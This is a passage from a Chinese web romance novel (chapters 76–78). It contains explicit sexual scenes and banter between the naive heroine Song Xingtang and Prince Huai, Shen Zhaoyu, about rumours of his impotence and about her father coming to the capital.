不然,还是原路返回吧?在人家里,总不好乱闯。万一,撞见什么不该看到的,不就完啦? 故事里都写了,主角总因为旺盛的好奇心而倒霉,她不是主角,怕是不会被菩萨眷顾。她初到京城,不好一再给沈昭予惹麻烦,虽然他说她谁都得罪的起,但她本心还是能少一事就少一事的。 宋星糖喃喃道:“方才大家喊他怀王,这名字耳熟,感觉在家时就总听,应该不会记错。不如回去试探一下青鸾,大家都知道的,一问便知,我也不是非要抓到他不可。” “反正我已见到他的模样,嗯,这局算我赢,再走下去,万一惹麻烦就不好了,还是回去吧。” 她说服了自己,转身意欲往回走。 忽然身后传来脚步声,宋星糖警惕回头,见是位面容和善的侍女。 “不知您可是宋姑娘?” 宋星糖犹豫着点头。 “小侯爷请您过去说话。” 小侯爷?谢徽吗? 因是认识的人,宋星糖便放下戒心,正打算跟着婢女走,忽然想起什么。 她又停步,问道:“小侯爷有说是何事吗?” 婢女垂着头,不卑不亢:“先前姑娘去侯府赴宴,说自己想看一本书,我家主人正巧今日带着,相逢不如巧遇,想着直接送给姑娘。” 宋星糖一颗心彻底落回肚子里。 她莞尔一笑,“看来你没骗我,那我和你走吧。” 二人一前一后往前走。 不远处的二层小楼中,谢徽放下千里镜,乐了一声:“哟,还挺警惕,知道不能轻信陌生人,这也是你教的?” 怪不得打发婢女去前,沈昭予特意加了那一句,若问起寻她何事,就那样答。 啧啧,不愧是在一个被窝里睡过觉的人,就是了解啊。 不过这一个被窝睡了一个月,也没圆房,哈哈。 阿婉说的不对,这绝不是能忍,肯定是真不行。 要是他对阿婉,别说一天,就连一个时辰都忍不到。 所以若是有情,就肯定是不行。 要不就是不爱。 只不过这话谢徽不敢当面说,怕小命没了。 沈昭予背对着,正看墙上的字画,没理会。 谢徽撇撇嘴,看不惯男人这股装劲儿,不屑道:“嘁,把你认出来了,心里不定怎么美呢。” 对着空墙看半天,也不知在看什么。 “我说殿下,您数出来墙有几条裂纹了吗?” 沈昭予:“……” 二人自小一同长大,论嘲讽人的本事,谢徽亦不遑多让。 沈昭予道:“画呢?” 谢徽道:“听说拿去养护了,近来多雨,亦受潮。” 沈昭予:“……” 屋子又静下来,谢徽受不住寂寞,等人过来的功夫,又嘴贱道: “你说你多小心眼儿啊,人家坐在那也不是特意在看哪个公子,是在找你。你倒好,醋意翻天,说什么都不肯继续坐着,非要过去。” “过去就过去呗,怎么看到人家受欺负,又不动了?” 谢徽回想起那小姑娘气人的本领,又不由得放声大笑。 “她也真是厉害,能比你还会气人,关键谁都能看出来,她不是故意为之,甚至格外真诚。最可气的就是她这种,懵懵懂懂地回击,比一千个一万个心眼子杀伤力都大,字字珠玑,句句往人心窝里捅,哎,她对你也这样吗?” 沈昭予没说话,心里默默叹了口气。 对啊,也这样,一呛一个心口疼,可他又能怎么办呢,只能受着,谁叫他犯贱,竟觉得甘之如饴。 他没第一时间过去,也是想看看她会如何处理。 果然不出他所料,她把在场众人都噎得哑口无言。 只怕她自己都没觉得被人欺负了,还觉得能和人说上话,是一大进步,交到了新朋友,和人家“打成一片”了。 他早就说,她气人功夫一流,不用学,偏偏她自己全然无知,谁说这不能算一种本事呢。 往好处想,她起码不会在他看不到的地方吃亏。 这就够了。 沈昭予心思飘远,想着即将要面对的人,嘴角不自觉地上扬,露出抹温柔的笑来。 谢徽鸡皮疙瘩掉一地,低声骂一句,站起身来往外走,“我滚了,太吓人。” 谢徽下了楼急吼吼往外走,与楼下人擦肩而过。 宋星糖扬起微笑,刚要同人打招呼,只见谢徽目不斜视,嘴里骂骂咧咧的,一阵风似得从她身边飘过去。 宋星糖疑惑地看着他的背影,“火没烧着屁股呀,跑什么?” 想要问婢女,一转头,不知何时,婢女也不见了踪影。 她心里突地一跳,心中陡然生出个预感。 她蓦地抬头。 只见二楼露台上,栏杆处倚着个人。 正是不久前才打过照面的,怀王殿下。 男人一扫先前冷淡模样,唇边挂着熟悉的笑,眼底尽是专注与柔情。 宋星糖眼底骤然燃起亮光,拎着裙摆,冲了进去。 沈昭予听着越来越近的脚步声,端正坐姿,又低头整理衣领、衣袖、衣摆。 咚咚,咚咚—— 上楼的脚步声与他的心跳趋于一致。 沈昭予的心底毫无预兆地泛起难抑的雀跃,他听到自己的心跳正疾速加快,如铿锵作响的战鼓擂动,刺激着他的耳膜。 他忽然就坐不住了,蓦地起身,脚底下似踩了棉花一般毫无实感,全凭着心底一腔澎湃的悸动,凭着本能与冲动,大步朝外走去。 才几步,门口便出现一道身影。 二人不约而同地顿在原地,四目相对,谁也没说话。 宋星糖在望见男人的那瞬,眼底便迸发出光来,两道目光死死黏在他身上,从头到脚,将人仔细看了个遍,她两只眼睛写满了惊艳与喜欢,灼热直白得 让人忽视不得。 沈昭予唇畔的笑意愈发地浓,他缓步上前,张开手臂,像一只开屏的孔雀,笑问道:“好看?” 从前他不喜欢穿亲王公服,嫌袖子太宽,衣摆太长,骑马不方便。 可她既然喜欢到目不转睛地盯着瞧,往后也可以让绣娘多做几身类似的常服穿给她看。 果然,宋星糖毫不犹豫地点头。 “人好看,还是衣服好看?” 宋星糖盯着他的眼睛,“都好看!” 说着,她抬起手,摸向他的眼尾。 沈昭予不躲不闪,笑着任她摸。 “这里也有一颗痣。”她痴痴看着,呢喃道,“好看,喜欢。” 原先赵鱼的那张假面上,也有这样一颗痣,她当时就很喜欢。 没想到这颗痣竟不是假的。 在一张不算熟悉的脸上找到了熟悉的痕迹,宋星糖满心的开心快要满溢出来。 有了肢体的碰触,沈昭予无论如何都再难隐忍。 如今算是把全部的自己都在她面前展现,他终于能毫无任何心理障碍地,对她做任何想做的事。 他拉起她的手,摸到自己心口,低声问道:“喜欢衣服,喜欢这颗痣,那我呢,喜欢吗?” 宋星糖感受着掌心下蓬勃有力的跳动,羞赧地垂下头,低低地‘嗯’了一声,“也喜欢呀。” 话音落,她就被人揉进怀里。 “我不知你对我有几分男女之情,但这辈子都只能和我在一起,无论是哪种,都无所谓。” 他在她耳边低声道:“反正路还长着。” 宋星糖听不太懂,但她能捕捉到一个信息——他似乎和李嬷嬷她们一样,都拿她当小孩子,以为她不懂何为喜欢。 她能不懂吗?她都是成过亲,差点圆房的人了。 对了,说到圆房—— “鱼鱼。” 一听这个称呼,沈昭予的心彻底落下去,笑着应:“我在。” 一边应,一边沿着她的鬓角啄吻,顺着脸颊往下,往他最终目的而去。 都说了,下次再见定要吻她,说到做到决不食言。 在即将吻上她的唇时,她忽然远离,眼里盛着好奇,问道:“我们为什么不圆房呀?” 沈昭予:“……” 他眼皮突突一跳,陡然陷入沉默。 电光火石间,脑海中所有疑问都通了。 怪不得近来会有那些流言。 沈昭予可算找到罪魁祸首,抬手就要敲她的小脑袋,高高抬起,又因舍不得,轻轻落下,但心里实在恨,大掌使劲揉她脸,咬牙切齿:“原来是你这个小坏蛋,败坏我的名声。” 他的一世英名,全毁在她手里。 宋星糖被揉捏得说不出话来,身子随着一股大力左右摇晃,要扶着男人的胳膊才能站稳。 她头晕脑胀,眼前直冒星星,“发财了,都是金子……” 沈昭予双手捧着她的脸,趁着她迷糊着,深深吻下去,以雷霆之势闯入齿关,横扫那温暖清甜之处,勾着她的舌头到自己口中,用力吸吮,抵死缠//绵。 恨不得将心里所有的憋屈与愤怒都化在这一个吻里。 宋星糖只觉得自己的魂儿都飞到了九天之上,她想抬手去够,却无论如何都挣不脱男人有力的臂膀。 只能软软靠在他怀里,由着他肆意索取。 最后脑袋里就只剩下一个念头—— 他大抵是饿坏了,好似要将她吞吃入腹。 宋星糖被一个吻弄得三魂七魄丢了大半,等她的唇彻底恢复自由,神志渐清,她发现自己已然坐在马车里。 宋星糖:? 她茫然地低头,“我怎么在你腿上,做梦了吗?” 她做事时总是顾头不顾尾,只可做单一的事。她沉浸在亲吻里,就无暇顾及,她其实是被他抱了一路、亲了一路,带到马车上的。 在别人府上,总不方便,不如回家去。 沈昭予看她的眸色极深,似乎在压抑着什么情绪,而那危险的情绪马上要突破阈值,冲破桎梏与枷锁,即将一发不可收拾。 宋星糖本能地缩了缩身子,“别这样看我,害怕。” 沈昭予勾唇一笑,抚上她的脸,“现在怕,太晚了。你在外头胡说的时候,怎没想到此时?” 今日说什么都要给她点颜色瞧瞧,否则还真应了那句“不行”,真当他没脾气? “啊?我吗?”宋星糖指了指自己,歪着头,眼神无辜,“我说什么了呀?” 沈昭予眯着眸子,似笑非笑:“近来有些流言,我的下属们看我的眼神很奇怪,他们似乎都知道我被你休了的事,甚至有传言说,我是因为活儿不好才被休的,对此你有何想说的。” 宋星糖眨眨眼,“有的。” “说。” “何为活儿不好?什么活啊?” 沈昭予:“……” “所以你确实同人说了休夫的事。” 宋星糖心虚,眼神躲闪,“那、那你也没告诉我不能说呀,再说我身边的人都知道,又不是什么秘密。” 沈昭予当然不舍得真同她生气,轻轻拧她的鼻子,冷哼道:“你这样让本王很没有面子。” 宋星糖目光呆滞,“啊?你进了京城,怎么开始要面子啦?” “赵鱼是赘婿,不需要脸面,”沈昭予揣着王爷包袱不撒手,带着股傲气,“但是怀王需要。” 宋星糖似懂非懂地点了点头,“好吧,那我之后不说了。” 说着一扬下巴,一副看我宠你吧的表情。 “……” 然而为时已晚,该知道的都知道了。 就连皇帝见了他,都问需不需要太医瞧瞧,言辞之间小心翼翼,生怕触动他敏感脆弱的自尊,一怒之下,把勤政殿掀了。 沈昭予一头雾水,有苦说不出,艰难度过两日,总算叫他抓到了造谣的贼。 不过也怪他,若非他太有道德,若早将她的身子占了,也不会惹出这许多事来。 话虽如此,可沈昭予一点都不后悔。 沈昭予垂眸,笑了一声:“本王活儿好不好,也得糖儿试过才知。” 他不做违背底线的事,起码得是她愿意,他才能做,否则与畜生别无两样。 只不过在他看来的周全,在别人眼里,成了他的软弱与无能。 而她呢,似乎十分期待,跃跃欲试。 宋星糖好奇极了,摩拳擦掌:“那试试?” 他温柔抚向她的面颊,眸色幽暗,嗓音轻柔: “好啊,那就试试。” 第76章 第76章怀王殿下(试用装)…… 【76】 华服委地,一具极具男性魅力的躯体缓缓展现于眼前。 宋星糖捧着厚重的公服,茫然抬头。 “要不还是穿上吧?别着凉了。” 沈昭予正在脱寝衣,脱到一半,回身看她,“糖儿怕了?” 宋星糖不设防看到男人坦//露的胸膛,两眼发直,咽了咽口水。 “没怕啊,怕什么?难不成你还会打我不成?” 看这身材,她一拳都受不了。 眼前人紧实结实的背肌微微隆起,随着他宽衣的动作,整个背部流线优美,带着蓄势待发的力量。 肩线流畅,自宽阔的肩头而下,顺着脊柱的沟壑延至劲窄而充满韧性的腰身。 皮肤下的肌肉随着呼吸而起伏,壁垒棱角时隐时现,充满野性的张力。 他身上还有许多陈年旧伤,纵横交错在背部、肩膀、甚至是前胸。 最新的那道正在小腹,其狰狞的疤痕一半露在外头,一半没入裤腰,不给人瞧。 仔细回想,成亲那一个多月的时间里,她似乎没见过他一件衣裳都不穿的样子。 因为稀奇,所以怎么都挪不开眼。 男人轻笑一声,将上衣全部脱下,扔到一边,淡声道:“八月了,不会着凉。” 说着,朝她走来。 宋星糖手一抖,雍容华贵的亲王朝服落到地上。 她紧张地后 退半步,下一刻,身子一轻,被人打横抱起。 宋星糖下意识抱紧他的脖子,惊慌抬眸:“鱼鱼……” 往常都能揪着他的衣领,如今入手就是微凉的皮肤,她心里慌乱无比。 男人目光温柔,轻声安抚:“别怕,若不喜欢就喊停,好吗?” 宋星糖后背贴上软榻,看着男人靠了过来。 “我们是要睡觉吗?”她还穿着一件寝衣,茫然道,“我,我不用脱吗?” “不必。” 沈昭予跪坐在她身侧,眸光中闪烁着幽暗的火苗。 他的表情极淡,手指漫不经心地划过她的脸,“只是试一试本王的能耐,不会叫糖儿受委屈。” 宋星糖犹豫着点了点头,仰头看他,目光依赖,“都听你的。” “放心交给我。”男人的热掌贴在她腰际,手指勾上她的裙带,手忽然被她按住,他轻声道,“不要怕。” 宋星糖深吸一口气,缓缓松开手,“……嗯嗯。” 他只是将她的腰丨带扯开,并未进行下一步动作。 倾身靠近,温柔地将她吻住。 两人亲了许多次,男人的吻技飞涨,没一会功夫就将女子亲成了一汪水。 见她软化,双眸中涌动着迷丨离,显然已然沉浸其中,他才肯到下一步。 他一边继续亲,一边拉着她的手,向下拽。 怕她被吓到,他还低声同她说话,分散她的注意: “从前我教过糖儿秘戏图中的几篇,可还记得?” 宋星糖的唇重获自由,脑中的雾气渐渐散去,意识逐渐清明,她过了好一会才听到他的话,“嗯,记得……” “其实我从未好好教过你,每次都在敷衍逃避。” “怕吓着你,怕自己没有回头路,你我本是各取所需,不该在其他地方有更多的牵扯,归根究底,是嫌你麻烦,如今想想,只觉得自己可笑。” 宋星糖刚想要说什么,手里忽然被塞进来一个东西。 宋星糖一颗心都被好奇填满,她半睁着眼,抻着脖子要看。 沈昭予仰头亲在她眼睛上,热气喷洒在她眼皮上,低沉的笑声从他胸腔中带着震颤,共鸣而出: “是个丑陋的东西,不怕吓着吗?” 她疑惑道:“丑?你身上会有丑的地方吗?” 他笑:“当然,我最好看的,大抵就是这张脸了。” 宋星糖为他辩驳:“还有身体,也很好看。” 他笑得声音更加沙哑。 宋星糖想要抬手揉耳朵,怎料才刚要脱手,男人的大掌便紧紧将她裹住。 他强迫着她握紧,而后呼吸陡然一重。 手心里的跳动也更加欢快雀跃,宋星糖心头猛跳,抬眼看他,撞进一双深不见底的眸中。 那眼眸中似乎盛有无尽的深渊,在渊底,是黑色的泥沼。 陷进去,就再难逃脱。 宋星糖被美色蛊住了魂,并不想逃,她也不知怎么回事,竟胆大包天地主动捏了捏。 听得男人在她耳边无奈叹气,声音哑得几乎难辨本来音色:“糖儿,你是想要为夫的命吗?” “哦,我知道了!” “嗯?” “我猜我肯定握住了你的命根,对不对?” 她真聪明,不用他告知,她就从只言片语中猜到了真相! 她一捏一握,他就咬牙切齿恨不得要咬她,还说命要没了,常人总说命根命根的,肯定就是那个。 原来还真有叫“命根”的东西啊。 沈昭予哭笑不得,伏在她身上不住地笑,“这样说,也没错。” 对于一个男人来说,那可不就是命根么。 “那我得好好对它。”宋星糖煞有介事道,“当个宝贝一样,轻点摸。” 她果真有胆识,仗着无知,就敢肆意“拿捏”他。 这若是旁人,沈昭予高低都要评判一句愚蠢的傻子,可这是宋星糖,那便是天真无邪的赤子之心。 “不必这般小心,我来教你。” 照这么挠痒痒似得磨蹭下去,他迟早会被她玩废,真应了那句“不行”的传言。 一想到那个让他颜面扫地的荒谬传言,沈昭予心底陡然生出强烈的胜负欲。 他握着她的手,而她捏着他的命脉。 “糖儿,等会我会考你,一共动了多少个来回。” 一听考核,宋星糖眼睛一亮,“好呀,那就开始吧!” 那就…… 开始吧。 沈昭予气息微沉,引导着她。 “……” 真奇怪,他为何要用这么大的力道对待自己? 难道那不是什么很脆弱的地方吗? 不知过了多久。 好累。 好酸。 胳膊快要不是自己的了。 “糖儿,多少下了?” 宋星糖没听见,她感觉男人开始出汗,并且身上又开始散发那股她爱闻的味道。 她沉迷地眯起眼睛,专心地嗅他身上的味道。 沈昭予渐渐松开手,而抓着他的那只小手出于惯性,压根就没停。 她动作生疏,不是个好学生,但他心里燃着对她浓烈的爱,她越是莽撞,他就越难自抑。 “好、好像吃胖了。”宋星糖不解地喃喃,“怎么还胖了一圈?抓不住……” 男人唇角微勾,手撑在她身侧,低头亲了亲她。 二人贴得更紧,气味更浓。 宋星糖上瘾般地凑过头去,埋在他味道最浓烈的颈间深深吸气。 不知是累得没了力气,还是沉醉在香气中无法自拔,所以顾不得底下那头,她渐渐停了下来,专心地闻。 沈昭予低笑着,重新将她的手握在掌心。 “不专心的小坏蛋。”他循循善诱,“继续数,要念出声来,不然我可就走了。” 宋星糖依旧没听见,沈昭予骤然松开手,离了身。 温暖好闻的气息消失,空气中只残留着凌乱的呼吸声。 过了几息功夫,宋星糖才恍然从梦中惊醒,心底陡然一空,就好像一直在云端行走,忽然没了前路,一脚踩空,由万丈高空中坠落。 她下意识一捞,抓了一手空气。 理智慢慢回笼,她眼圈一下红了。 “坏了,鱼鱼,我、我好像……” 沈昭予垂着眼睛,不为所动,他看上去极为冷静,可才被人握持的地方,热情地昂起头抖了抖。 宋星糖又是羞赧,又是丢脸,双手捂住眼睛,“我,我好像尿裤子了。” 她扭了扭,似乎是感觉到不同寻常的反应,脸颊顿时烧红一片,连带着脖颈都泛上浓郁的粉色。 “怎、怎么办呀呜呜,弄脏你的榻……” 男人眼尾泛着红,静静地看着那只带给他欢愉的手,此刻正盖在她自己的脸上。 她身上明明一件衣裳都不少,可他却感觉,自己透过那薄薄的布料,看到了里头最为动人的美景。 沈昭予忽然轻笑一声。 大发慈悲一般,再度拉进二人距离。 宋星糖如愿以偿地重嗅好闻的味道,顿时再次沉浸其中,将别的又都忘了。 她额头抵在他肩上,随着他的捻揉而发抖。 听到他哑声笑道: “糖儿,你的身体也在爱我。” 宋星糖小口地呼吸,声音断断续续:“爱、爱你?” “这是爱你吗?我不懂,你别骗我。” 沈昭予‘嗯’了一声。 他直起身,两只手掐住她的腰窝,轻而易举往自己身前拖。 被渴望熏红眼睛,浸透了理智,彻底沦为欲丨念的奴隶。 他笑道:“嗯,爱我。” 这一刻,身心都品尝到极大的满足。 “从前不曾教你的,往后都会一一补偿。” 宋星糖脑袋里晕晕乎乎,呼吸发热,头脑发热,腿侧也磨得热。 任由男人在他耳边说了再多的话,她都没有精力再去分析。 听说骑马很磨屁股,她感觉自己此刻就和骑马差不多。 她仿佛做了一个幽长的梦,自己骑在高头大马上,还是 并未配有马鞍的马。 凌风正以日行八百里的速度,一边上蹿下跳,一边载着她飞速狂奔。 颠得她上下翻飞,腿根火辣辣的。 懵懵懂懂间,仿佛还听到凌风说话了—— “夹紧。” “呜呜。” 她一边轻声啜泣,一边乖乖照做。 她生怕被马甩落,两腿并拢,用力到发抖。 感觉马儿至少跑了百里路,仍不停歇。 沈昭予垂眸看着她,见她出神,手上愈发使了狠劲。 手臂上的肌肉随着发力鼓动,一层薄汗给略深的皮肤覆上一层柔韧的光泽。 要说宋星糖的记性,可谓是时好时坏。 常常在该记住的时候什么都记不住,又在不该记得的时候,记起毫无关联的事。 她已经没了思考的能力,脑袋里被撞出了什么,她就下意识说什么。 从一开始的——‘好累,能否停下?’ 到后来的——‘马儿不听话,该打!’ “烫”“磨”之类的字眼反复出现在各种句子里。 最后哆哆嗦嗦地:“册子里,原来是这样的吗?” 男人未曾回答,只是轻轻笑着。 宋星糖记得学过几样—— 跪立,蚕缠绵,鹤交颈…… 她记性不太好,只觉得都不太像。 她可怜巴巴地,睁着水蒙蒙的眼,好奇道:“那这,是哪一式啊?是学过的——” 沈昭予一语不发,在她接连不断的问题里,埋着头,向她倾诉出全部的、浓烈的爱意。 “哪一式都不是。” 男人眉目舒展,温柔吻去她眼角的泪,笑道:“只是试一试。” 第77章 第77章“糖儿莫不是,还想要?…… 【77】 宋星糖又学会了两句话。 一为,耳听为虚,眼见为实。 二为,怀王一怒,累坏糖糖。 沈昭予坐在床边,端着一盘精致糕点,哄道:“吃点东西,好不好?” 他衣裳没好好穿,只把寝衣披着,宋星糖不经意间一扫便烫了眼,忙不迭把目光收回去。 她卷着被子蜷缩在角落,甚至不敢背对着他,生怕他又往自己屁股上抹奇怪的东西。 屋里那股味道还未全散去,女子脸上仍旧残留着泪痕,她红着眼睛瞪他一眼。 委屈巴巴地:“天都黑了。” 沈昭予讪笑两声,心虚地摸了摸鼻子。 宋星糖目光幽怨:“上一顿饭还是午时吃的,到现在都……” 话未说完,肚子咕噜一声。 沈昭予眼睁睁看着小姑娘怔愣一瞬,而后眼圈越来越红,悬在眼眶的泪珠瞬间就滚落下来。 沈昭予心疼坏了,也不管她愿不愿意,俯身把她抱起来,把吃食送到她嘴边。 宋星糖很生气,然后低头咬了一口。 再生气,也不能饿肚子。 嚼啊嚼,嗯,真甜! 眼见宋星糖的心情好起来,沈昭予结巴地解释:“那、那不是要证明本王的能耐,不然你又要到处去造谣。” 当然,最初是这个动机,到后头,他承认他有点上/瘾。 “我没有造谣,”宋星糖心里一千个一万个委屈,“我只是问言姐姐为何你不同我圆房。” 沈昭予叹了声,这里的人各个都是人精,话从一人口出,入一人耳去,再经由此人说与另一人,不定能传成什么样。 兴许这话再传两天,就该是‘听说怀王不是不行,而是女扮男装’,再之后传出他生孩子的话也不是没可能。 宋星糖天真质朴,在家时便少同陌生人打交道,如今骤然跳进京城这个大染缸里,免不得要闹这些误会。 沈昭予不舍得责怪她,可心里有气,哪个男人都受不了自己被心上人质疑,所以…… “是做的有些过火。”他抚上她脸颊,满眼愧疚,“还难受吗?” 方才趁她精神恍惚,未彻底清醒,他动作迅速地给她抹了药膏。 那会看到白皙娇嫩的皮肤上,磨红了好大一片。 他用了全部的克制力,才将药上好。抹完才想起,没给她清理身子。 虽说没有做到最后一步,可他的东西还是都弄到了她衣服上,更别提最后鬼使神差地,还往她身上…… 沈昭予红着耳朵,尴尬地咳了一声。 宋星糖不言语,只埋头吃东西。 沈昭予专注地看了会,忽然想起来什么,他看了一眼她的坐姿,又看了一眼早被她扔开的被子。 他果断地去拿一条湿帕子回来,没有任何犹豫地往下去,跪坐在她脚边,悄悄地撩起她的裙摆。 宋星糖只是不能一心二用,并不代表她是个傻的。 下半边身子骤然一凉,她疑惑地看过去。 只见裙子下头,一颗脑袋鬼鬼祟祟地动来动去。 宋星糖的脸颊顿时红透,她一把按住裙子,怒骂道:“登徒子!!” 这话沈昭予早听腻了,他笑着应声,刚要给她擦一擦,就感觉自己脑袋被按了下去。 他原本只是想看看还红不红,顺便稍微清理一番,没想怎么着。 结果被她这么一拍,不该碰的碰上了,不该看的也全看光了。 沈昭予:“……” 他的眸子都顿时被一条幽深的水径吸引,抿了抿略有水意的唇,隐约闻到熟悉的味道。 怎么都结束有一会,她还在…… 难不成,是他做的还不够? 正当他出神之际,耳边是她恼羞成怒的声音:“我们不是夫妻,怀王殿下越界了!” 沈昭予:“……” 这小坏蛋!果然用完就把他扔了! 他气不过,偏头在她月退根啃了一小口。 听她“哎哟”一声,他退出来。 咬牙切齿地道:“我迟早叫你再说不出这话来。” 宋星糖没仔细听他说什么,见那底下脑袋的没了,连忙拢住裙摆,她抱住双膝,警惕地看着他。 沈昭予冷笑道:“方才说要试试的,难道不是你吗?!” 宋星糖理不直气也壮,“那又如何?” 沈昭予抖着手指她,‘你’了半天,没说出话来。 好好好。 正当他气血翻涌之时,忽又听她说道: “不过,你……唔……” 她脸上泛起可疑的红晕,小声嘟囔:“好像还挺厉害的。” 沈昭予顿了顿,嘴角几不可闻地向上扬了一个指甲盖的弧度。 “我们这就算圆房了吧?嗯……那就算是补原来的那个,你这下就不欠我啦。” 宋星糖的思路清奇,掰着手指头细数:“我有几件事要同你说。这第一件,因你一路待我极好,还替我寻父,我就原谅你隐瞒身份的事吧。第二件呢,是你用了易容,鉴于你这张脸更好看,所以我也原谅了。第三件,你——” 话未说完,沈昭予又是气又是笑,捏住她的嘴,把人捞到怀里。 他咬牙道:“长得好看,就能为所欲为?” 原来她愿意同他做这事,只是因为他的样貌! 宋星糖奇怪地看他一眼。 这人真奇怪,原谅不行,不原谅也不行。看在他长得俊俏的份上,宋星糖耐心解释道:“那当然啦,好看最重要。” 所以她究竟是喜欢这张脸,还是喜欢他这个人?? 沈昭予化身怨夫,斤斤计较。 宋星糖不懂有何区别,随口敷衍道:“莫说是你,旁人也是一样的,这便是我的标准呀。” 就像当初凭诗招赘,能进府答题的,首先就得五官端正,能入得了秦管家的眼才行。 那些歪瓜裂枣的,宋星糖才不在他们身上浪费时间。 得知真相的沈昭予如同晴天霹雳,目光幽暗地死死盯着她瞧。 她兴许,没准,八成,还真是只喜欢他的脸。哦,今天或许能再加上他的身材。 如此想着,目光愈发幽深。 看得宋星糖汗毛竖立,脊背冒凉,她一把遮住他的眼睛,眼不见为净,“去,一边去。” 沈昭予:“……” 怎么他做回怀王,还是一点尊严都没有! 他一怒之下,单手拎着人,把她身上的脏裙子剥了下来。 又一怒,把自己干 净的亲王公服罩在她身上,揣着她的脏衣服走了。 他走到门口,忽然顿住脚步,想到什么,脸色更臭。 十分有骨气地撂下一句话:“洗衣服去!” 然后摔门走了。 屋中陷入寂静。 宋星糖怔怔坐着,脸颊慢慢升温,嘤了一声,把通红的脑袋埋进他的衣服里。 没等吸过瘾,沈昭予换了一身衣裳又回来了。 他怎么回来了? 宋星糖遗憾地松开他的公服,老实巴交地裹着被子。 她把自己裹成粽子,只露个脑袋,看他在自己屋里忙活。 看他指挥着婢女往屋里搬东西,又让人打水备饭,忙许多事,就是不看她,也不跟她说话。 宋星糖对着男人高大的背影发呆。 看了他半晌,张开手掌,看了看自己的手。 在空中虚握一把,忽然察觉异样,掀开被子,低头看看自己。 被子里头,两条白皙的腿向外岔坐在榻上,她动了动,看到原先压着的褥子上,湿了一块。 摸了下,是新沾上的。 宋星糖咬着唇,在被子上蹭了蹭手,双手捂住脸。 她好像有点怀念…… 沈昭予把心里的郁气散净,挥手叫人都下去,准备同她说正事。 一回头,只能见一双通红的耳朵。 沈昭予:? 他心脏一紧,几步到近前,“哭了?” 把她的胳膊拽下去,对上一双被雾气笼罩的杏眸。 这副表情…… 沈昭予喉结微滚,感觉到心跳在加快。他情不自禁地,拇指轻轻按在她的唇上,“糖儿莫不是,还想要?” 方才做那事时,她就是这个模样。 宋星糖目光躲闪,红唇嚅喏两下,没吭声。 “今日太晚了,”沈昭予叹了声,遗憾道,“改日吧。” 看来这一试,叫她很满意。 他唇角微勾,正欲再度开口说事,手忽然被她牵了起来。 她抓着他的手,认真地钻研,仔细研究他的食指与中指,还摸了摸他干净圆润的指甲。 几乎是瞬间,沈昭予便想起来一些不可言说的画面。 那股温暖的,湿润的,紧致的包裹感,似乎又缠上他的手指。 他别过头去,默默平息呼吸。 好不容易摒除杂念,却又听她道:“方才,为何忽然出去?” 她猜,这些她从未经历过的事,才是夫妻之间真正会做的。 而不是像从前那样,只是抱着她睡觉。 沈昭予脑子里那根名为冷静弦顿时断了,再次望向她时,眸中又填满浓重的欲。 她问得直白,他亦答得坦诚。 “因为想要留到大婚再做。” 他的手碰到阻碍,然后一下冷静下来。 可她低声地哼,嗓音实在磨人。 所以只能哄着她,用别的方式。 他绞尽脑汁,搬空脑海中的知识,在一进一退间,瞄准靶心,毫不犹豫地进攻,换来一声悦耳的娇?啼。 好在,总算是让她也感受到快乐。 沈昭予太阳穴突突地跳,用力抽开手,背过身去。 宋星糖想了好半晌,才理清其中可能存在的因果,她犹豫道:“难不成,我们还没有圆房吗?” “嗯。” 她有些急了,“为何还不?为何一定要等?方才那样怎么不算——” 沈昭予不知她为何如此执着,可听她声音不对,又见她眼睛都红了,心里终是不忍,手掌轻轻抚摸着她的脸颊,温声道: “为何急于一时?我们还有很长的人生,等到大婚夜,不好吗?” 宋星糖摇摇头,她只是觉得,曾经的那段婚姻中,终归缺少点什么,所以想总着补救。 上一次的遗憾就要现在来补,未来还有未来的要做的事。 就像他先前求她原谅,她问的也是,原谅哪一次呢? 一码归一码,不可以将两次混为一谈。 她心里想了许多,却没能很好地表述内心,导致说出来的话,又给了沈昭予一记重锤。 她说:“你又怎么能笃定,我们还会像先前一样成亲呢?” 总不会他身为王爷,还要做她的赘婿吧? 沈昭予:“……”?? 他不可置信道:“事到如今,你还要拒绝我吗?” 宋星糖沉浸在自己的思绪里,只是摇头。 沈昭予以为她确实在拒绝。 天,又塌了一次。 再一再二,没有再三再四。 就是泥捏的人也会有脾气,更何况是心高气傲、自命不凡的怀王殿下。 这一次他可再没那么好说话了! 他一把捏住女子的下巴,手上的动作极轻,横眉怒目,恶狠狠道: “你既招惹本王,就断无全身而退之理。还从未有如你这般嚣张的女子,敢这样戏耍本王。如今本王的名节都折在你这里,你不肯也得肯!再闹,本王就将你关在这屋里,你一日不应,就关你一日,等你爹过几日入了京,本王就将你父女二人全关起来,看你还——” “……诶?!!” 百十余字耳中过,脑中只留一声‘爹’。 宋星糖两只爪子握着他,兴奋地道:“我爹爹要来了吗?!” 沈昭予:“……” 他看着女孩蓦地亮起的眼睛,陡然沉默下来。 第78章 第78章沈昭予脸上挨了一巴掌。…… 【78】 “我爹爹他真的要来了吗?真的吗真的吗?” “……真的。” 吧唧—— “我就知道你最好了!!” 沈昭予抬手摸脸,心口再多的气都散了。 他低下头,轻轻笑着,再抬眼,就见宋星糖光着身子披他的衣裳,要从榻上往他身上跳。 沈昭予:?? 怀王殿下的反应速度寻常人比不得,只这一眨眼的功夫,他便将人牢牢抱在怀里,并将她紧紧裹进衣服,不露分毫春光。 训斥的话不必多说,反正说了她也听不到,她现在满脑子都是她的爹爹。 “这便是我一来就想同你说的事。” 衣裳太大,一大截袍子拖到地上,沾了灰,沈昭予毫不在意,只是帮她系好腰带,又帮她拎着下摆,免得她踩上摔跤。 “他们数日前已离开灵州,往京城来,快马加鞭日夜兼程,约莫最多不过十日便可抵京。” 沈昭予一边说,一边给她挽袖子,余光瞥见床榻上整齐摆放的她的新衣裳,摇头失笑。 明明早给她准备了新衣裳,却不穿,非要穿他的。 别说她没看见,他清楚记得亲手放下时,那摞衣裳在床中间位置,不知何时被她踢到了床尾,还特意用被子盖住。 他没碰,婢女没碰,那么是谁碰的呢?答案显而易见。 她分明是想伪装没衣服穿,只好穿他的假象。 沈昭予心头划过疑问,留心观察了一下自己的衣裳,没看出什么端倪,不知她为何喜欢。 大概是因为剪裁与绣制工艺都出类拔萃吧,她家里又是干这个的,她难免会感兴趣。 “鱼鱼?你怎么不理我呀?” 沈昭予回神,“嗯?你说什么?” 宋星糖甩了甩袖子,不厌其烦地重复道:“我爹爹他,知道我阿娘已经不在了吗?” 沈昭予动作一顿,面上的笑意渐渐淡了。 他犹豫一瞬,如实道:“知道,我给他写了信,已陈明一切。” 